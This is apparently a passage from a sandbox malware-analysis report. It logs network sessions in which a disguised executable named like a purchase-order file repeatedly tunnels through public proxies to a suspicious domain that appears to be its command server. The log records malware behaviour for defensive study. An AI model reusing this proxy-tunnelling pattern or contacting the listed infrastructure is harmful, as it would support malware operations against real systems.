Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.945018053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.11	50343	104.25.167.88	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.959208012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.114216089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.11	50286	4.236.183.37	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.962929964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.500972986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.206190109 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.11	50202	193.239.56.84	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.963663101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.11	50228	43.129.228.46	7891	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.966304064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.626017094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.11	49730	162.241.70.64	49478	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.967899084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.985681057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985809088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.985704899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.985404968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.11	50352	172.67.231.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.969388962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.123644114 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.11	50482	93.190.24.119	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.972968102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.11	50485	93.190.24.119	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.978387117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.11	50488	93.190.24.119	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.981695890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.11	50492	93.190.24.119	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.983591080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.11	50328	54.152.3.36	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.000550985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.217509031 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:19.218086004 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5a 79 da 4a a0 6f 65 45 5b 34 f3 42 82 a8 a4 bb b8 eb 42 27 48 c5 78 c2 02 66 ad 6e 51 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&ZyJoeE[4BB'HxfnQ*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:19.436155081 CET	536	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 dc 10 bc 5f 1c 62 7b 85 d6 ed f4 2c eb b3 e7 be 4e 5c f4 f1 f1 a4 e6 cd 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9_b{,N\DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311144851Z260311144851Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:19.436167955 CET	536	IN	Data Raw: 01 00 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 a9 f5 d7 bb 84 62 62 60 b8 23 ed 9f d5 07 38 71 3e 71 80 f6 1d 0c c4 d4 a4 6d f7 8a 1d 71 68 ff cb 96 9d c4 97 06 02 83 87 08 9b 02 b4 44 00 bd 5f 73 7b 73 d3 45 8a 84 1d b2 5f Data Ascii: 0Hbb`#8q>qmqhD_s{sE_Fb!.=7!1[]0a<xF\;h9QLIFrBxPy6D\|S0V0v?#O0d(_A;6F,^V,~f5+8}h
Mar 11, 2024 16:42:19.436250925 CET	57	IN	Data Raw: fc 38 8b a9 6a 81 09 bc 70 55 52 e9 0b 2c 30 11 cf d4 df 38 80 10 7e e0 6c 44 67 14 7b 67 a8 15 57 9c 84 47 e5 0e dc f6 4a 87 0c 50 8e e4 72 c6 16 03 03 00 04 0e 00 00 00 Data Ascii: 8jpUR,08~lDg{gWGJPr
Mar 11, 2024 16:42:19.439894915 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 64 d8 72 b3 52 ef 44 49 6d f1 35 c6 51 ee c7 6a af b6 4b 8a 45 3a 57 59 21 8d 35 a5 95 e7 e9 2e 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 80 ab 5f 17 2a a9 76 f4 47 d1 74 c1 da 86 48 da c4 f1 08 14 2a Data Ascii: %! drRDIm5QjKE:WY!5.(_vGtH~6\|2
Mar 11, 2024 16:42:19.655627966 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 d5 b6 2f 37 9f f0 31 b6 dc ff e5 29 27 01 db f2 53 d3 d0 ed da 20 ac 6b 36 98 57 0b df a3 cf 95 8c 85 14 7d ce b7 cb ab Data Ascii: (/71)'S k6W}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.11	50376	172.67.3.98	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.000891924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.155194044 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.11	50219	8.222.239.209	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.001173973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.11	50381	104.24.193.186	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.001439095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.156181097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.11	50260	58.234.116.197	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.001574993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.11	50388	104.25.81.82	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.004962921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.159840107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.11	50256	82.64.77.30	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.006556988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.404638052 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Mon, 11 Mar 2024 15:42:19 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.11	50255	3.25.234.175	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.006577969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.339770079 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.11	50233	62.171.131.101	41055	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.006580114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.672936916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.610426903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.486285925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.189675093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.986918926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.688935041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.094744921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.11	50331	162.243.102.207	9764	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.007898092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.11	50269	203.96.177.211	48553	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
